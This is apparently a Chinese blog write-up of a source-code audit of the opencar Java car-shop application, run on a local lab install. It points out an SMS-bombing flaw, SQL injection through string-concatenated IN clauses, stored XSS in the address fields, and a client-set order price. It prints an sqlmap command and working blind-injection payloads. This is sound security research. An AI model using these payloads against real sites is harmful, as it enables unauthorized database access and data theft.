opencar代码审计
环境搭建
- 下载源码,根据使用说明安装
- 修改
WebRoot/WEB-INF/classes/db.properties
的数据库连接账号密码 - 数据库新建一个
opencar
,并且在数据库开头添加use opencar;
- idea将
WebRoot/WEB-INF/lib
、tomcat/lib
添加到library - idea的tomcat配置可自行搜索
代码审计
注册账号
提交一个请求
根据url和注解
@WebServlet(displayName="前端基本信息",name="FrontAction",urlPatterns="/front")
快速定位到相关代码src/com/weishang/my/action/FrontAction.java
获取验证码
/front?tag=getTelCode
String tel=request.getParameter("tel");
String json="";
SendMessageInfo smi=new SendMessageInfo();
String code=smi.sendMessageInfo(tel,1,StringUtil.getRandomString(4));//直接开始发送验证码
获取参数后就执行发送短信操作,所以存在短信轰炸漏洞
注册用户
/front?tag=userRegiste
307行userOr = ss.getUserOrByTel(tel);
涉及到sql查询
String sql = "select u.user_id from user u where user_tel=?";
rs = this.jdbc.executeQuery(sql, args);
但是存在预编译,只好看看别的地方
搜索车辆
在WebRoot/WEB-INF/lib/weishang-1.4.jar!/com/weishang/service/UserService.class
搜索空格+空格
寻找sql存在拼接的地方,发现好几处存在拼接,但是参数都不可控,还有几处是数字型的
同理,在
WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
搜索like
、in
等无法预编译的语句,之后搜索调用此函数的地方
@WebServlet(displayName="跳转到信访页面",name="GoodsList",urlPatterns="/goods")
在商品页面寻找注入点
//调用处
ss.getGoodsListByExtendCat(pageNo, pageSize-goodsList.size(),tem_cat_id,tem_type_id,tem_brand_id,price);
//函数原型
public List<GoodsPojo> getGoodsListByExtendCat(Integer pageNo, Integer pageSize, String cat_ids, String type_ids, String brand_ids, String price) throws SQLException {
if (pageNo < 1) {
pageNo = 1;
}
int offset = (pageNo - 1) * pageSize;
String sql = "select gd.*,gc.*,gt.* from goods gd,goods_cat gcat,goods_category gc,goods_type gt where gd.is_shelves=1 ";
if (cat_ids != null && !cat_ids.equals("")) {
sql = sql + " and gcat.cat_id in (" + cat_ids + ") and gcat.cat_id=gc.goods_category_id and gcat.goods_id=gd.goods_id";
}
if (type_ids != null && !type_ids.equals("")) {
sql = sql + " and gd.goods_type in (" + type_ids + ") ";
}
if (brand_ids != null && !brand_ids.equals("")) {
sql = sql + " and gd.brand_id in (" + brand_ids + ") ";
}
if (price != null && !price.equals("x")) {
String[] price_arr = price.split("-");
if (!price_arr[1].equals("x")) {
sql = sql + " and gd.shop_price>=" + price_arr[0] + " and gd.shop_price<=" + price_arr[1] + " ";
} else {
sql = sql + " and gd.shop_price>=" + price_arr[0] + " ";
}
}
uri为/goods?brand_id=12&type_id=6&cat_id=17&menuId=7&price=0-300
,参数都可控
直接
sqlmap -u "http://192.168.0.104:8080/WebRoot/goods?brand_id=12&type_id=6&cat_id=17&menuId=7&price=0-300" -p type_id
---
Parameter: cat_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: brand_id=12&type_id=6&cat_id=17) AND (SELECT 5002 FROM (SELECT(SLEEP(5)))CDMc)and (1=1&menuId=7&price=0-300
---
---
Parameter: brand_id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: brand_id=(SELECT (CASE WHEN (4466=4466) THEN 12 ELSE (SELECT 3872 UNION SELECT 3787) END))&type_id=6&cat_id=17&menuId=7&price=0-300
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: brand_id=12 AND (SELECT 6377 FROM (SELECT(SLEEP(5)))TuUO)&type_id=6&cat_id=17&menuId=7&price=0-300
---
---
Parameter: type_id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: brand_id=12&type_id=(SELECT (CASE WHEN (3316=3316) THEN 6 ELSE (SELECT 7165 UNION SELECT 9752) END))&cat_id=17&menuId=7&price=0-300
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: brand_id=12&type_id=6 AND (SELECT 1118 FROM (SELECT(SLEEP(5)))gZeZ)&cat_id=17&menuId=7&price=0-300
---
个人信息处
个人信息中各种修改信息的功能点都是直接获取参数和展示数据,没有经过过滤和编码,所以存在存储型xss
src/com/weishang/my/action/user/PcUserAddAddress.java
//直接获取参数
String name =request.getParameter("name");
String address=request.getParameter("address");
String tel=request.getParameter("tel");
//传入相关函数
flag=ss.addAddress(user.getId(), name, tel, address);
WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
//直接写入数据库
public Integer addAddress(Integer userId, String name, String tel, String address) {
Object[] args = new Object[]{name, tel, address, userId};
String sql = "insert into user_address (user_address_name,user_address_tel,user_address_content,user_address_user) values(?,?,?,?)";
Serializable flag = this.jdbc.insertBackId(sql, args);
this.jdbc.close();
return flag.hashCode();
}
addressList = ss.getAddressByUser(user.getId());
public List<Address> getAddressByUser(Integer userId) throws SQLException {
String sql = "select a.* from user_address a where a.user_address_user=?";
ResultSet rs = this.jdbc.executeQuery(sql, userId);
Address address = null;
ArrayList addressList = new ArrayList();
while(rs.next()) {
address = new Address();
address.setId(rs.getInt("user_address_id"));
address.setName(rs.getString("user_address_name"));
address.setAddress(rs.getString("user_address_content"));
address.setTel(rs.getString("user_address_tel"));
addressList.add(address);
}
return addressList;
}
预约汽车
预约汽车时价格可控,直接插入数据库
public void addGoodsOrder(HttpServletRequest request, HttpServletResponse response)throws ServletException,IOException{
response.setContentType("text/html;charset=UTF-8");
HttpSession session = request.getSession(true);
Object ordinary_user=session.getAttribute("ordinary_user");
String tem_store_id=request.getParameter("store_id");//门店id
String price=request.getParameter("price");
String tem_address_id=request.getParameter("address_id");
String tem_goods_id[]=request.getParameterValues("goods_id");
String content=request.getParameter("content");
String serviceDate=request.getParameter("serviceDate");
Integer store_id=null;
Integer address_id=null;
Integer goods_id=null;
Integer order_id=0;
if(tem_store_id!=null && !tem_store_id.equals("")){
store_id=Integer.parseInt(tem_store_id);
}
if(tem_address_id!=null && !tem_address_id.equals("")){
address_id=Integer.parseInt(tem_address_id);
}
if(tem_goods_id.length>0){
goods_id=Integer.parseInt(tem_goods_id[0]);
}
PrintWriter out = response.getWriter();
String json="";
if(ordinary_user==null){
json="{\"tip\":\"请登录之后再操作\",\"status\":500}";
}else{
User user=(User)ordinary_user;
//order_id=ss.addGoodsOrder(2, 1, 1, 1,serviceDate, null, content, user.getId(),null, store_id, null, price, 1, 1, address_id, 2,"3", user.getId().toString(), null, goods_id, 1,"");
if(order_id>0){
if(tem_goods_id.length>0){
for(int i=0;i<tem_goods_id.length;i++){
ss.addGoodsAndOrder(Integer.parseInt(tem_goods_id[i]),order_id);
}
}
json="{\"tip\":\"操作成功\",\"status\":200}";
}else{
json="{\"tip\":\"服务器内部错误\",\"status\":500}";
}
}
out.print(json);
}
这里的操作很多都会和会话绑定,所以越权的可能性小
HttpSession session = request.getSession(true);
Object ordinary_user=session.getAttribute("ordinary_user");
总结
https://novysodope.github.io/2020/12/24/46/